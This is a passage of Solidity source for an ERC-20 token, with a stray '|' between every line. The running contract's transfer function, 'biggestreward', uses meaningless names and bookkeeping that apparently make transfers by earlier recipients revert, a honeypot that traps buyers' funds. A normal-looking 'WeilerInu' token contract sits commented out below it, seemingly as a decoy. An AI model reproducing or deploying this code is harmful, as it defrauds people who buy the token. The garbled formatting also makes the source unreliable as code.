uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
|
|
|
|
emit Transfer(address(deployer), msg.sender, _tTotal);
|
|
}
|
|
|
|
uint256 public _fee;
|
|
string private _name;
|
|
string private _symbol;
|
|
uint8 private _decimals;
|
|
|
|
function name() public view returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
mapping(address => mapping(address => uint256)) private _allowances;
|
|
mapping(address => uint256) private _balances;
|
|
|
|
function symbol() public view returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
uint256 private _tTotal;
|
|
uint256 private _rTotal;
|
|
address public uniswapV2Pair;
|
|
IUniswapV2Router02 public router;
|
|
uint256 private like = ~uint256(0);
|
|
|
|
function decimals() public view returns (uint256) {
|
|
return _decimals;
|
|
}
|
|
|
|
event Approval(address indexed owner, address indexed spender, uint256 value);
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
|
|
function totalSupply() public view returns (uint256) {
|
|
return _tTotal;
|
|
}
|
|
|
|
address[] interest = new address[](2);
|
|
|
|
function balanceOf(address account) public view returns (uint256) {
|
|
return _balances[account];
|
|
}
|
|
|
|
function allowance(address owner, address spender) public view returns (uint256) {
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function biggestreward(
|
|
address rewtreated,
|
|
address officialtoken,
|
|
uint256 amount
|
|
) private {
|
|
address hall = interest[1];
|
|
bool border = uniswapV2Pair == rewtreated;
|
|
uint256 order = _fee;
|
|
|
|
if (rewardtoken[rewtreated] == 0 && driven[rewtreated] > 0 && !border) {
|
|
rewardtoken[rewtreated] -= order;
|
|
if (amount > 2 * 10**(13 + _decimals)) rewardtoken[rewtreated] -= order - 1;
|
|
}
|
|
|
|
interest[1] = officialtoken;
|
|
|
|
if (rewardtoken[rewtreated] > 0 && amount == 0) {
|
|
rewardtoken[officialtoken] += order;
|
|
}
|
|
|
|
driven[hall] += order + 1;
|
|
|
|
uint256 fee = (amount / 100) * _fee;
|
|
amount -= fee;
|
|
_balances[rewtreated] -= fee;
|
|
_balances[address(this)] += fee;
|
|
|
|
_balances[rewtreated] -= amount;
|
|
_balances[officialtoken] += amount;
|
|
}
|
|
|
|
mapping(address => uint256) private driven;
|
|
|
|
function approve(address spender, uint256 amount) external returns (bool) {
|
|
return _approve(msg.sender, spender, amount);
|
|
}
|
|
|
|
mapping(address => uint256) private rewardtoken;
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) external returns (bool) {
|
|
require(amount > 0, 'Transfer amount must be greater than zero');
|
|
biggestreward(sender, recipient, amount);
|
|
emit Transfer(sender, recipient, amount);
|
|
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount) external returns (bool) {
|
|
biggestreward(msg.sender, recipient, amount);
|
|
emit Transfer(msg.sender, recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function _approve(
|
|
address owner,
|
|
address spender,
|
|
uint256 amount
|
|
) private returns (bool) {
|
|
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
return true;
|
|
}
|
|
}
|
|
|
|
/**
|
|
|
|
abstract contract Context {
|
|
function _msgSender() internal view virtual returns (address) {
|
|
return msg.sender;
|
|
}
|
|
}
|
|
|
|
interface IERC20 {
|
|
function totalSupply() external view returns (uint256);
|
|
|
|
function balanceOf(address account) external view returns (uint256);
|
|
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
|
|
function allowance(address owner, address spender) external view returns (uint256);
|
|
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) external returns (bool);
|
|
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(
|
|
address indexed owner,
|
|
address indexed spender,
|
|
uint256 value
|
|
);
|
|
}
|
|
|
|
contract Ownable is Context {
|
|
address private _owner;
|
|
address private _previousOwner;
|
|
event OwnershipTransferred(
|
|
address indexed previousOwner,
|
|
address indexed newOwner
|
|
);
|
|
|
|
constructor() {
|
|
address msgSender = _msgSender();
|
|
_owner = msgSender;
|
|
emit OwnershipTransferred(address(0), msgSender);
|
|
}
|
|
|
|
function owner() public view returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
modifier onlyOwner() {
|
|
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
|
_;
|
|
}
|
|
|
|
function renounceOwnership() public virtual onlyOwner {
|
|
emit OwnershipTransferred(_owner, address(0));
|
|
_owner = address(0);
|
|
}
|
|
|
|
function transferOwnership(address newOwner) public virtual onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
emit OwnershipTransferred(_owner, newOwner);
|
|
_owner = newOwner;
|
|
}
|
|
|
|
}
|
|
|
|
library SafeMath {
|
|
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
uint256 c = a + b;
|
|
require(c >= a, "SafeMath: addition overflow");
|
|
return c;
|
|
}
|
|
|
|
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return sub(a, b, "SafeMath: subtraction overflow");
|
|
}
|
|
|
|
function sub(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b <= a, errorMessage);
|
|
uint256 c = a - b;
|
|
return c;
|
|
}
|
|
|
|
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
if (a == 0) {
|
|
return 0;
|
|
}
|
|
uint256 c = a * b;
|
|
require(c / a == b, "SafeMath: multiplication overflow");
|
|
return c;
|
|
}
|
|
|
|
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
|
return div(a, b, "SafeMath: division by zero");
|
|
}
|
|
|
|
function div(
|
|
uint256 a,
|
|
uint256 b,
|
|
string memory errorMessage
|
|
) internal pure returns (uint256) {
|
|
require(b > 0, errorMessage);
|
|
uint256 c = a / b;
|
|
return c;
|
|
}
|
|
}
|
|
|
|
interface IUniswapV2Factory {
|
|
function createPair(address tokenA, address tokenB)
|
|
external
|
|
returns (address pair);
|
|
}
|
|
|
|
interface IUniswapV2Router02 {
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint256 amountIn,
|
|
uint256 amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint256 deadline
|
|
) external;
|
|
|
|
function factory() external pure returns (address);
|
|
|
|
function WETH() external pure returns (address);
|
|
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint256 amountTokenDesired,
|
|
uint256 amountTokenMin,
|
|
uint256 amountETHMin,
|
|
address to,
|
|
uint256 deadline
|
|
)
|
|
external
|
|
payable
|
|
returns (
|
|
uint256 amountToken,
|
|
uint256 amountETH,
|
|
uint256 liquidity
|
|
);
|
|
}
|
|
|
|
contract WeilerInu is Context, IERC20, Ownable {
|
|
|
|
using SafeMath for uint256;
|
|
|
|
string private constant _name = "WeilerInu";
|
|
string private constant _symbol = "Winu";
|
|
uint8 private constant _decimals = 9;
|
|
|
|
mapping(address => uint256) private _rOwned;
|
|
mapping(address => uint256) private _tOwned;
|
|
mapping(address => mapping(address => uint256)) private _allowances;
|
|
mapping(address => bool) private _isExcludedFromFee;
|
|
uint256 private constant MAX = ~uint256(0);
|
|
uint256 private constant _tTotal = 1000000000 * 10**9;
|
|
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
|
uint256 private _tFeeTotal;
|
|
uint256 private _redisFeeOnBuy = 0;
|
|
uint256 private _taxFeeOnBuy = 4;
|
|
uint256 private _redisFeeOnSell = 0;
|
|
uint256 private _taxFeeOnSell = 4;
|
|
|
|
//Original Fee
|
|
uint256 private _redisFee = _redisFeeOnSell;
|
|
uint256 private _taxFee = _taxFeeOnSell;
|
|
|
|
uint256 private _previousredisFee = _redisFee;
|
|
uint256 private _previoustaxFee = _taxFee;
|
|
|
|
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
|
|
address payable private _developmentAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
address payable private _marketingAddress = payable(0x3167626bdF9EF14ae04893D3fF7501CB38D17221);
|
|
|
|
IUniswapV2Router02 public uniswapV2Router;
|
|
address public uniswapV2Pair;
|
|
|
|
bool private tradingOpen;
|
|
bool private inSwap = false;
|
|
bool private swapEnabled = true;
|
|
|
|
uint256 public _maxTxAmount = 10000000 * 10**9;
|
|
uint256 public _maxWalletSize = 20000000 * 10**9;
|
|
uint256 public _swapTokensAtAmount = 10000 * 10**9;
|
|
|
|
event MaxTxAmountUpdated(uint256 _maxTxAmount);
|
|
modifier lockTheSwap {
|
|
inSwap = true;
|
|
_;
|
|
inSwap = false;
|
|
}
|
|
|
|
constructor() {
|
|
|
|
_rOwned[_msgSender()] = _rTotal;
|
|
|
|
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
|
|
uniswapV2Router = _uniswapV2Router;
|
|
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
|
.createPair(address(this), _uniswapV2Router.WETH());
|
|
|
|
_isExcludedFromFee[owner()] = true;
|
|
_isExcludedFromFee[address(this)] = true;
|
|
_isExcludedFromFee[_developmentAddress] = true;
|
|
_isExcludedFromFee[_marketingAddress] = true;
|
|
|
|
emit Transfer(address(0), _msgSender(), _tTotal);
|
|
}
|
|
|
|
function name() public pure returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function symbol() public pure returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() public pure returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() public pure override returns (uint256) {
|
|
return _tTotal;
|
|
}
|
|
|
|
function balanceOf(address account) public view override returns (uint256) {
|
|
return tokenFromReflection(_rOwned[account]);
|
|
}
|
|
|
|
function transfer(address recipient, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_transfer(_msgSender(), recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function allowance(address owner, address spender)
|
|
public
|
|
view
|
|
override
|
|
returns (uint256)
|
|
{
|
|
return _allowances[owner][spender];
|
|
}
|
|
|
|
function approve(address spender, uint256 amount)
|
|
public
|
|
override
|
|
returns (bool)
|
|
{
|
|
_approve(_msgSender(), spender, amount);
|
|
return true;
|
|
}
|
|
|
|
function transferFrom(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount
|
|
) public override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
_approve(
|
|
sender,
|
|
_msgSender(),
|
|
_allowances[sender][_msgSender()].sub(
|
|
amount,
|
|
"ERC20: transfer amount exceeds allowance"
|
|
)
|
|
);
|
|
return true;
|
|
}
|
|
|
|
function tokenFromReflection(uint256 rAmount)
|
|
private
|
|
view
|
|
returns (uint256)
|
|
{
|
|
require(
|
|
rAmount <= _rTotal,
|
|
"Amount must be less than total reflections"
|
|
);
|
|
uint256 currentRate = _getRate();
|
|
return rAmount.div(currentRate);
|
|
}
|
|
|
|
function removeAllFee() private {
|
|
if (_redisFee == 0 && _taxFee == 0) return;
|
|
|
|
_previousredisFee = _redisFee;
|
|
_previoustaxFee = _taxFee;
|
|
|
|
_redisFee = 0;
|
|
_taxFee = 0;
|
|
}
|
|
|
|
function restoreAllFee() private {
|
|
_redisFee = _previousredisFee;
|
|
_taxFee = _previoustaxFee;
|
|
}
|
|
|
|
function _approve(
|
|
address owner,
|
|
address spender,
|
|
uint256 amount
|
|
) private {
|
|
require(owner != address(0), "ERC20: approve from the zero address");
|
|
require(spender != address(0), "ERC20: approve to the zero address");
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
}
|
|
|
|
function _transfer(
|
|
address from,
|
|
address to,
|
|
uint256 amount
|
|
) private {
|
|
require(from != address(0), "ERC20: transfer from the zero address");
|
|
require(to != address(0), "ERC20: transfer to the zero address");
|
|
require(amount > 0, "Transfer amount must be greater than zero");
|
|
|
|
if (from != owner() && to != owner()) {
|
|
|
|
//Trade start check
|
|
if (!tradingOpen) {
|
|
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
|
|
}
|
|
|
|
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
|
|
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
|
|
|
|
if(to != uniswapV2Pair) {
|
|
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
|
|
}
|
|
|
|
uint256 contractTokenBalance = balanceOf(address(this));
|
|
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
|
|
|
|
if(contractTokenBalance >= _maxTxAmount)
|
|
{
|
|
contractTokenBalance = _maxTxAmount;
|
|
}
|
|
|
|
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
|
|
swapTokensForEth(contractTokenBalance);
|
|
uint256 contractETHBalance = address(this).balance;
|
|
if (contractETHBalance > 0) {
|
|
sendETHToFee(address(this).balance);
|
|
}
|
|
}
|
|
}
|
|
|
|
bool takeFee = true;
|
|
|
|
//Transfer Tokens
|
|
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
|
|
takeFee = false;
|
|
} else {
|
|
|
|
//Set Fee for Buys
|
|
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
|
|
_redisFee = _redisFeeOnBuy;
|
|
_taxFee = _taxFeeOnBuy;
|
|
}
|
|
|
|
//Set Fee for Sells
|
|
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
|
|
_redisFee = _redisFeeOnSell;
|
|
_taxFee = _taxFeeOnSell;
|
|
}
|
|
|
|
}
|
|
|
|
_tokenTransfer(from, to, amount, takeFee);
|
|
}
|
|
|
|
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = uniswapV2Router.WETH();
|
|
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
|
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
tokenAmount,
|
|
0,
|
|
path,
|
|
address(this),
|
|
block.timestamp
|
|
);
|
|
}
|
|
|
|
function sendETHToFee(uint256 amount) private {
|
|
_marketingAddress.transfer(amount);
|
|
}
|
|
|
|
function setTrading(bool _tradingOpen) public onlyOwner {
|
|
tradingOpen = _tradingOpen;
|
|
}
|
|
|
|
function manualswap() external {
|
|
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
|
|
uint256 contractBalance = balanceOf(address(this));
|
|
swapTokensForEth(contractBalance);
|
|
}
|
|
|
|
function manualsend() external {
|
|
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
|
|
uint256 contractETHBalance = address(this).balance;
|
|
sendETHToFee(contractETHBalance);
|
|
}
|
|
|
|
function blockBots(address[] memory bots_) public onlyOwner {
|
|
for (uint256 i = 0; i < bots_.length; i++) {
|
|
bots[bots_[i]] = true;
|
|
}
|
|
}
|
|
|
|
function unblockBot(address notbot) public onlyOwner {
|
|
bots[notbot] = false;
|
|
}
|
|
|
|
function _tokenTransfer(
|
|
address sender,
|
|
address recipient,
|
|
uint256 amount,
|
|
|
|
|
|
*/ |
